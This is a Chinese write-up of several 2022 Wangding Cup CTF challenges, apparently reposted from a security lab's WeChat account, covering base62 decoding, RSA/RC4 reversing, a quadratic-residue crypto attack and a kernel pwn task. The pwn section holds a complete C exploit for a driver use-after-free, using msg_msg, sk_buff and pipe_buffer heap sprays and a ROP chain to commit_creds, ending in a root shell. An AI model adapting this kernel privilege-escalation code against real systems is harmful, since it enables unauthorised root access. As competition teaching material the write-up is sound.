2022第三届网鼎杯 | 玄武组部分WriteUp

WriteUp 2年前 (2022) admin
1,845 0 0

  misc999  

表 9876543210qwertyuiopasdfghjklzxcvbnmMNBVCXZLKJHGFDSAPOIUYTREWQ 密文 7dFRjPItGFkeXAALp6GMKE9Y4R4BuNtIUK1RECFlU4f3PomCzGnfemFvO

题目如上,一看就是base62换表。

随便找了个网上的脚本。

suminb/base62: Python module for base62 encoding; a URL-safe encoding for arbitrary data (github.com)

之后改一下里边的表。

CHARSET_DEFAULT = "9876543210qwertyuiopasdfghjklzxcvbnmMNBVCXZLKJHGFDSAPOIUYTREWQ"
CHARSET_INVERTED = "9876543210qwertyuiopasdfghjklzxcvbnmMNBVCXZLKJHGFDSAPOIUYTREWQ"

之后导入使用就行。

import base62
import string

str1 = "7dFRjPItGFkeXAALp6GMKE9Y4R4BuNtIUK1RECFlU4f3PomCzGnfemFvO"

print (base62.decodebytes(str1))

flag{cf492422-13cb-4123-8bc5-5495f0349494}

  re557  

操作内容:

2022第三届网鼎杯 | 玄武组部分WriteUp

Ida分析

2022第三届网鼎杯 | 玄武组部分WriteUp

2022第三届网鼎杯 | 玄武组部分WriteUp
2022第三届网鼎杯 | 玄武组部分WriteUp

进行数据提取 整理后的结果为

30

82 04 A4

02

01

00

02

82 01 01 (n)

00 EF 6B 7A E3 4A F9 4B E5 B4 E3 8C F2 AF 35 FD 26 AA 03 B9 B7

11 68 DE 46 04 0E 93 74 39 4F 60 E1 ED 33 1C 2A

C8 5A 40 DA 44 74 55 3A 42 DA B6 4C E1 F0 A2 18

A8 04 88 1F 55 8F 52 2E 64 83 02 28 52 33 3A 10

5D F4 39 67 7E 27 8E 09 FF FB 43 EB 05 75 88 A6

84 C1 72 B4 0C A8 28 73 5D E3 02 1F 7F B0 12 16

07 FB D4 E4 FB A0 46 EA BF 54 28 11 4F 28 A4 C1

DC 2E 03 AD 25 B1 EE FA DB CC 2F 93 BD A3 B6 CE

6C 08 04 14 33 1C 90 E5 EC 86 1A 25 35 60 5F 06

96 7B 57 98 E7 1F 9D 14 7F D3 C1 18 E1 8E 60 64

5B 20 A9 B4 C1 95 E5 15 D0 47 F2 DA 30 1E 4F 37

38 10 D7 F8 6D 80 49 9C 03 40 7C 20 69 FB FF B8

4B C2 EF 00 6A DB E7 15 F6 59 46 31 64 6D 9B 04

9F 3B D2 98 97 E3 EE AA 45 AB 61 EC B9 00 24 40

7F 59 7C D6 54 5D BE C7 0F 63 20 76 4E 59 1D 2C

A9 F6 44 93 3F 6B A2 E5 98 F4 1A 8F

02

03 01 00 01 (e)

02

82 01 00  (d)

2E C1 DF D3 09 EE 5B EB 35 83 87 20 52 25 8A 16

05 F8 0A 49 FD 65 6C 9B 61 E9 72 D4 AC E8 9A B4

24 BD E9 8F 55 67 82 E8 DD 9B 96 95 75 3E FF 81

4E 52 CF 65 5F 52 DB 3E BB 57 ED 25 D0 4D 61 9B

7C 4A 32 D9 C5 6F 8F D2 6D 69 CE 2C 97 C8 7B 80

27 A5 C7 95 35 B2 0D F3 A9 D1 21 6D 3E 75 BA 11

6A BF 79 18 C2 60 65 38 7F 07 D3 31 BF 41 F1 3D

48 27 58 DD DF 61 41 28 8C 87 0E 74 01 7F 03 FF

46 C1 FB 86 D7 C7 05 A2 D0 A5 80 05 DC 28 17 F8

9A 07 DD 7A 85 BB 1F 44 BA 81 2A 5D 41 D1 61 1A

F0 12 C7 48 72 67 E6 F6 0D 90 69

2C 66 FC F1 31 1C 48 E9 B4 9F BC 16 1D 18 9E 74

1F 54 76 4E A5 93 A6 9D 33 4D 4C 5D FF 45 54 02

B4 D8 E4 47 B3 A9 60 10 74 2A 47 3D 3A 8F 0A 65

AB 1E AA 15 52 8B A1 3E 69 73 BD D6 FF E0 2D 84

1A A3 34 CF 70 1A E0 03 51 7B 44 AC 4E 50 08 5B

8C 02 00 7B 41

02 81 81 (p)

00 F4 9B D8 32 3C B4 D5

3A 86 6A FE CE BD 28 70 45 4D BE FB F6 0D 04 F3

65 9A 26 85 9A 13 F6 8D 33 D7 EF C5 68 C6 AB A7

94 D0 79 A3 1B FB 1E 1C 4B 1A 69 CF 09 B5 9F E3

03 97 8A 0C B1 D1 79 8F 98 71 DF 9A 66 CC 9C E1

43 8A B9 BE 41 AC D9 70 D0 69 60 33 C4 BD C1 7C

BD 91 1D A2 52 09 23 6F 42 11 26 8C F1 E7 4F CD

A9 3D 9B 2B EE 4A 59 C3 1C 28 E1 23 7

写rsa 脚本

import gmpy2

import binascii

import libnum

p = 0xF49BD8323CB4D53A866AFECEBD2870454DBEFBF60D04F3659A26859A13F68D33D7EFC568C6ABA794D079A31BFB1E1C4B1A69CF09B59FE303978A0CB1D1798F9871DF9A66CC9CE1438AB9BE41ACD970D0696033C4BDC17CBD911DA25209236F4211268CF1E74FCDA93D9B2BEE4A59C31C28E1237C493472FF5C42F4CD0A3B7CA1

q = 0xFA91C64FCAF5B51AA24E78338B2C8984A85B2BDA3F9FB1D45679D30B5E786578E2B3C28A93CA3F63F4E6C23FEA37DB09C8EB2A47C345A8111555F8794B3F0D18931447329AB289EA2C2C7AC74B4C0480F10E9B59591E7F80BBE8DDE2BD98D978DA4C51B528A9CD4DDE301397FF979A56AE09767D2468C7BCB948403D730C992F

e = 0x10001

c = 0x8dad10152cfc517131099af805018739ea7a2ee15658bb2ff9cac94dd4bd46e49aac6b4954920515694a9e0285a1dd9ab35731a8101ec9572e729f06da75081cf84738b2a21a7fce8ee44fb3580a78a07f2e561683aee652b836d79e2526b0b80ff291df9bea9e08e3e5216b20d893bf98d2522767de4670290fdefda225e36c0974d499eb0b3d03da445311484cab40c0f4366b8763eff502c16af3fafff052a138320cbf6124fa41d6553f3ccee3cf43aece442d0a0141057696817e2608efd7a0c819f5d374d84e0b98b29c72ea5edde1c7734ef2adec4ec6bcca56891b7a7d8817cf387148929b2ab91b3fd485b0c8fb40a834dec570ee2f2ecdad4e7e1

#2EC1DFD309EE5BEB3583872052258A1605F80A49FD656C9B61E972D4ACE89AB424BDE98F556782E8DD9B9695753EFF814E52CF655F52DB3EBB57ED25D04D619B7C4A32D9C56F8FD26D69CE2C97C87B8027A5C79535B20DF3A9D1216D3E75BA116ABF7918C26065387F07D331BF41F13D482758DDDF6141288C870E74017F03FF46C1FB86D7C705A2D0A58005DC2817F89A07DD7A85BB1F44BA812A5D41D1611AF012C7487267E6F60D90692C66FCF1311C48E9B49FBC161D189E741F54764EA593A69D334D4C5DFF455402B4D8E447B3A96010742A473D3A8F0A65AB1EAA15528BA13E6973BDD6FFE02D841AA334CF701AE003517B44AC4E50085B8C02007B41

n = p * q

d = gmpy2.invert(e, (p-1) * (q-1))

m = gmpy2.powmod(c, d, n)

print(hex(d))

m=libnum.n2s(int(m))[-0x20:]

print(m.hex())

得到

2022第三届网鼎杯 | 玄武组部分WriteUp

0x2ec1dfd309ee5beb3583872052258a1605f80a49fd656c9b61e972d4ace89ab424bde98f556782e8dd9b9695753eff814e52cf655f52db3ebb57ed25d04d619b7c4a32d9c56f8fd26d69ce2c97c87b8027a5c79535b20df3a9d1216d3e75ba116abf7918c26065387f07d331bf41f13d482758dddf6141288c870e74017f03ff46c1fb86d7c705a2d0a58005dc2817f89a07dd7a85bb1f44ba812a5d41d1611af012c7487267e6f60d90692c66fcf1311c48e9b49fbc161d189e741f54764ea593a69d334d4c5dff455402b4d8e447b3a96010742a473d3a8f0a65ab1eaa15528ba13e6973bdd6ffe02d841aa334cf701ae003517b44ac4e50085b8c02007b41

c5bcbc56fc2c2cacee7e991eb46dad23a8ca9b274135ee27bb4c91eb07f544dd

RC4 解密

流量数据包中的内容

开始以为是wires hark中 红色出错部分,发现尝试解出失败。

2022第三届网鼎杯 | 玄武组部分WriteUp


2022第三届网鼎杯 | 玄武组部分WriteUp

最终正确的data值

2022第三届网鼎杯 | 玄武组部分WriteUp

37cfa128cdc4cb439b7b22b3c640052cf4a5adb030a558deef2529b617d3ba67cab387bdc35e1c1bb45c

填入之前得到的值进行解密。2022第三届网鼎杯 | 玄武组部分WriteUp

flag值:

flag{E82C2FB1-930B-7C0C-1DFD-7E3F9BBAF1C1}

  crypto557  
操作内容:
x有50%为二次剩余,r有50%为二次剩余。如果x是二次剩余,x^r是二次剩余。。如果x是二次非剩余,x^r有50%为二次非剩余。flag{有39个比特,所以如果x为二次非剩余,x为二次非剩余,x^r均为二次剩余的概率微乎其微。所以我们可以以flag的开头来确定哪几组数据是二次剩余。最后获取到13组数据。
随后用那几组数据再次判断每个enc的二次剩余性质。因为此时。flag为1是x^r,肯定为二次剩余。flag为0是r,50%是二次剩余。所以,flag初始设为全1,每组数据用来更新flag。13组数据,最终判断错误的概率是1/(2^13)。微乎其微。

exp:

from Crypto.Util.number import *
import random
'''
from secret import flag

f = open("output.txt","w")

for i in range(18):
    p = getPrime(256)
    x = random.randint(2, p-1)
    tmp = bytes_to_long(flag)
    enc = []
    for j in range(size(tmp)):
        r = random.randint(2, p-1)
        if tmp%2:
            enc += [pow(x, r, p)]
        else:
            enc += [r]
        tmp //= 2
    
    f.write("p = " + str(p) + "n")
    f.write("enc = " + str(enc) + "n")
'''


with open('output.txt'as f:
    data = f.read().split("n")

p=[]
enc=[]
for each in data:
    if "p =" in each:
        p += [int(each[4:])]

for each in data:
    if "enc =" in each:
        enc += [eval(each[6:])]

#print(enc[0])
a="110011001101100011000010110011101111011"

puseful = []
encusefule = []
for i in range(len(p)):
    pp = p[i]
    flagg = 1
    encs = enc[i][::-1]
    for j in range(len(a)):
        if a[j] == "1":
            #print(encs[j])
            if pow(encs[j],(pp-1)//2,pp) != 1:
                #print("0")
                flagg=0
                break
    if flagg:
        puseful+=[pp]
        encusefule += [encs]

print(len(puseful))

flag = [1]*335
for i in range(len(puseful)):
    pp = puseful[i]
    encs = encusefule[i][::-1]
    for j in range(len(encs)):
        if pow(encs[j],(pp-1)//2,pp) != 1:
            flag[j] = 0
    print(bytes.fromhex((hex(int((''.join(str(f) for f in flag))[::-1],2))[2:])))
flag值:

flag{c8b10fb7-95f8-47a2-bfb3-b9489ad39711}

  pwn557  

题目分析

2022第三届网鼎杯 | 玄武组部分WriteUp

这里是个分配函数,操作码为0x20,就会分配出一个1024大小的空间。

2022第三届网鼎杯 | 玄武组部分WriteUp

这里是个释放函数,操作码为0x30,就会将刚才分配出的空间释放掉,但是没有置零,所以这里存在一个uaf漏洞。
typedef struct {
    unsigned long long num;
    void *ptr;
}args;

void add(){
    args arg ;
    arg.num = 1024;
    arg.ptr = "deadbeef";
    ioctl(fd,0x20,&arg);    //add
}

void del(){
    args arg ;
    arg.num = 0;
    ioctl(fd,0x30,&arg);    //del
}


 

思路

这里释放的空间限制了大小是1024,就要找大小为1024的结构体,这里跟D3CTF2022的d3kheap题目有点像,于是直接网上找那个exp过来魔改一下。
先是分配一个 1024 大小的 object,然后释放该 object,将其分配到别的结构体(victim)上,最后释放该 object,此时 victim 虽然还处在使用阶段,但是在 slub 中其同时也被视为一个 free object,我们此时便完成了 UAF 的构造,由于 slub 遵循 LIFO,因此接下来分配的第一个大小为 1024 的 object 便会是 victim。
第一步 堆喷 msg_msg ,建立主从消息队列,我们现在有了一个UAF的机会,这里我们选择使用 msg_msg 这一结构体。
第二步 构造 UAF,堆喷 sk_buff 定位 victim 队列。
第三步 堆喷 sk_buff 伪造辅助消息,泄露 UAF obj 地址。
第四步 堆喷 pipe_buffer,泄露内核基址。
第五步  伪造 pipe_buffer,构造 ROP,劫持 RIP,完成提权。
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define MSG_COPY        040000
#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 3

size_t user_cs, user_ss, user_rflags, user_sp;
unsigned long long int base = 0xffffffff8203ed80;
unsigned long long int addr_base;
unsigned long long int canary;

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810c99d0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810c9540;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov %cs, user_csn"
            "mov %ss, user_ssn"
            "mov %rsp, user_spn"
            "pushfn"
            "pop user_rflagsn"
            );
    puts("[*]status has been saved.");
    printf("cs:%ptss:%pnrsp:%ptrflags:%pn",user_cs,user_ss,user_sp,user_rflags);
}

void get(){

    commit_creds(prepare_kernel_cred(0));
 asm(
  "swapgsn"
  "pushq user_ssn"
  "pushq user_spn"
  "pushq user_rflagsn"
  "pushq user_csn"
  "push $shelln"
  "iretqn");
}

void shell(){
    system("/bin/sh");
}

uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff&s[i]);
    }
    return result;
}

unsigned long long int calc(unsigned long long int addr){
    printf("%p->%pn",addr,addr_base-base+addr);
    return addr_base-base+addr;
}
int fd;

typedef struct msg{
  long mtype;
  char mtext[0x400-0x50];
}msg;

struct pipe_buffer {
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct pipe_buf_operations {
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};

struct msg_msgseg {
  uint64_t next;
};

struct msg_msg {
 void *m_list_next;
    void *m_list_prev;
 long m_type;
 size_t m_ts;  /* message text size */
 void *next;
 void *security;
};

#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))
struct {
  long mtype;
  char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
  *(long *)msgp = msgtyp;
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
    perror("[-] msgsnd");
    return -1;
  }
  return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
      0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int msqid[10];

int32_t make_queue(key_t key, int msgflg) 
{
    int32_t result;
    if ((result = msgget(key, msgflg)) == -1) 
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}

void spray_1k(int n,int queue[])
{
    char buffer[0x400] = {0}, recieved[0x400] = {0};
    msg *message = (msg *)buffer;
    int size = 0x400;

    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < n; i++)
    {
        write_msg(queue[i+0x10], message, size - 0x30, 1);
    }
}



void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = 3;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}

#define NUM_SOCKETS 10
#define NUM_SKBUFFS 128
int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (write(ss[i][0], buf, size) < 0) {
        perror("[-] write");
        return -1;
      }
    }
  }
  return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], buf, size) < 0) {
        perror("[-] read");
        return -1;
      }
    }
  }
  return 0;
}

size_t buf[0x4000/8];

void build_rop(size_t *rop){
    int idx = 0;
    char tmp[0x100];
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xFFFFFFFF8178E6DD);//pop rdi;
    rop[idx++] = 0;
    rop[idx++] = calc(prepare_kernel_cred);
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff8180aae2);//pop rbx; pop rbp; ret;
    rop[idx++] = 0;
    rop[idx++] = 0;
    rop[idx++] = calc(0xffffffff81bc949b);//mov rdi, rax;rep;ret;
    rop[idx++] = calc(commit_creds);
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xffffffff819353b1);//ret
    rop[idx++] = calc(0xFFFFFFFF81C00FCB);//swapgs_restore
    rop[idx++] = 0;
    rop[idx++] = 0;
    rop[idx++] = shell;
    rop[idx++] = 0x33;
    rop[idx++] = 0x246;
    rop[idx++] = &tmp;
    rop[idx++] = 0x2b;

}

typedef struct {
    unsigned long long num;
    void *ptr;
}args;

void add(){
    args arg ;
    arg.num = 1024;
    arg.ptr = "deadbeef";
    ioctl(fd,0x20,&arg);    //add
}

void del(){
    args arg ;
    arg.num = 0;
    ioctl(fd,0x30,&arg);    //del
}

void debug(){
    args arg ;
    arg.num = 0;
    getchar();
    ioctl(fd,0x30,0);    //debug
}

int main(){
 save_status();
    for(int i = 0;i < 4096;i++){
        msqid[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    }
    int ss[NUM_SOCKETS][2];
    int ss2[NUM_SOCKETS][2];
    int pipefd[NUM_PIPEFDS][2];
    for(int i = 0;i < NUM_SOCKETS;i++){
        socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]);
        socketpair(AF_UNIX, SOCK_STREAM, 0, ss2[i]);
    }
    fd = open("/dev/kernelpwn",2);
    spray_1k(10,msqid);
    msg message;
    memset(&message,0,sizeof(message));
    message.mtype = 1;
    *(int *)&message.mtext[0] = 0xdeadbeef;
    *(int *)&message.mtext[4] = 1;
    write_msg(msqid[0],&message,sizeof(message),1);
    *(int *)&message.mtext[4] = 2;
    write_msg(msqid[1],&message,sizeof(message),1);
    add();
    del();
    *(int *)&message.mtext[4] = 0xaaaaaaaa;
    write_msg(msqid[0],&message,sizeof(message),2);
    del();
    *(int *)&message.mtext[4] = 0xbbbbbbbb;
    write_msg(msqid[1],&message,sizeof(message),2);
    *(int *)&message.mtext[0] = 0xdddddddd;
    for(int i = 0;i < 10;i++){
        *(int *)&message.mtext[4] = i;
        write_msg(msqid[2],&message,sizeof(message),2);
    }
    puts("Now msqid[0] and msqid[1] -> one info");
    printf("[*] Freeing real secondary message...n");
    read_msg(msqid[1],&message,sizeof(message),2);
    char sec[0x400-0x140];
    printf("[*] Spraying fake secondary messages...n");
    memset(&sec, 0, sizeof(sec));
    build_msg_msg(sec,0x41414141,0x42424242,PAGE_SIZE - MSG_MSG_SIZE,0);
    spray_skbuff(ss,sec,sizeof(sec));
    // debug();
    peek_msg(msqid[0],&msg_fake,sizeof(msg_fake),1);
    size_t kheapbasepre = 0;
    size_t kheapbasenext = 0;

    int preidx = 0;
    int nextidx = 0;
    for(int i = 0;i < sizeof(msg_fake.mtext)/8;i++){
        uint32_t high = *(uint32_t *)&msg_fake.mtext[i*8+4];
        uint32_t low = *(uint32_t *)&msg_fake.mtext[i*8];
        // printf("%p:%pt%pt%pn",i*8,*(size_t *)&msg_fake.mtext[i*8],high,low);
        if(low == 0xdddddddd){
            printf("%pt%pn",*(size_t *)&msg_fake.mtext[(i-5)*8],*(size_t *)&msg_fake.mtext[(i-6)*8]);
            if(high >= 1 && high <= 8){
                kheapbasepre = *(size_t *)&msg_fake.mtext[(i-5)*8];
                kheapbasenext = *(size_t *)&msg_fake.mtext[(i-6)*8];
                preidx = high-1;
                nextidx = high+1;
                break;
            }
        }
    }
    printf("kheapbasepre:%pnkheapbasenext:%pnidx:%dn",kheapbasepre,kheapbasenext,preidx);
    // free_skbuff(ss,sec,sizeof(sec));
    del();
    printf("[*] Spraying pipe_buffer objects...n");
    for (int i = 0; i < NUM_PIPEFDS; i++) {
        if (pipe(pipefd[i]) < 0) {
            perror("[-] pipe");
            exit(-1);
        }
        // Write something to populate pipe_buffer.
        if (write(pipefd[i][1], "pwn", 3) < 0) {
            perror("[-] write");
            exit(-1);
        }
    }

    size_t pipe_buffer_ops=0;
    printf("[*] Leaking and freeing pipe_buffer object...n");
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (read(ss[i][1], sec, sizeof(sec)) < 0) {
                perror("[-] read");
                exit(-1);
            }
            if (((*(uint64_t *)&sec[0x10]) & 0xFFFF000000000000) == 0xFFFF000000000000){
                pipe_buffer_ops = *(uint64_t *)&sec[0x10];
            }
        }
    }    
    addr_base = pipe_buffer_ops;
    printf("pipe_buffer_ops:%pn",pipe_buffer_ops);

    printf("[+] STAGE 4: Kernel code executionn");
    memset(sec,0,sizeof(sec));
    build_rop(sec);
    *(size_t *)(sec+0x39) = calc(0xffffffff819353b0); //pop rsp;ret
    struct pipe_buffer *buf = &sec;
    buf->ops = kheapbasepre;
    spray_skbuff(ss,sec,sizeof(sec));
    memset(sec,0xc,sizeof(sec));
    struct pipe_buf_operations *fops = &sec;
    fops->release = calc(0xffffffff8172536c); //push rsi; jmp qword ptr [rsi + 0x39];
    for(int i = 0;i < 10;i++){
        read_msg(msqid[2],&message,sizeof(message),2);
    }
    spray_skbuff(ss2,sec,sizeof(sec));
    // debug();
    printf("[*] Releasing pipe_buffer objects...n");
    for (int i = 0; i < NUM_PIPEFDS; i++) {
        if (close(pipefd[i][0]) < 0) {
            perror("[-] close");
            exit(-1);
        }
        if (close(pipefd[i][1]) < 0) {
            perror("[-] close");
            exit(-1);
        }
    }
    system("/bin/sh");
    return 0;
}
       

原文始发于微信公众号(山石网科安全技术研究院):2022第三届网鼎杯 | 玄武组部分WriteUp

版权声明:admin 发表于 2022年9月2日 上午11:45。
转载请注明:2022第三届网鼎杯 | 玄武组部分WriteUp | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...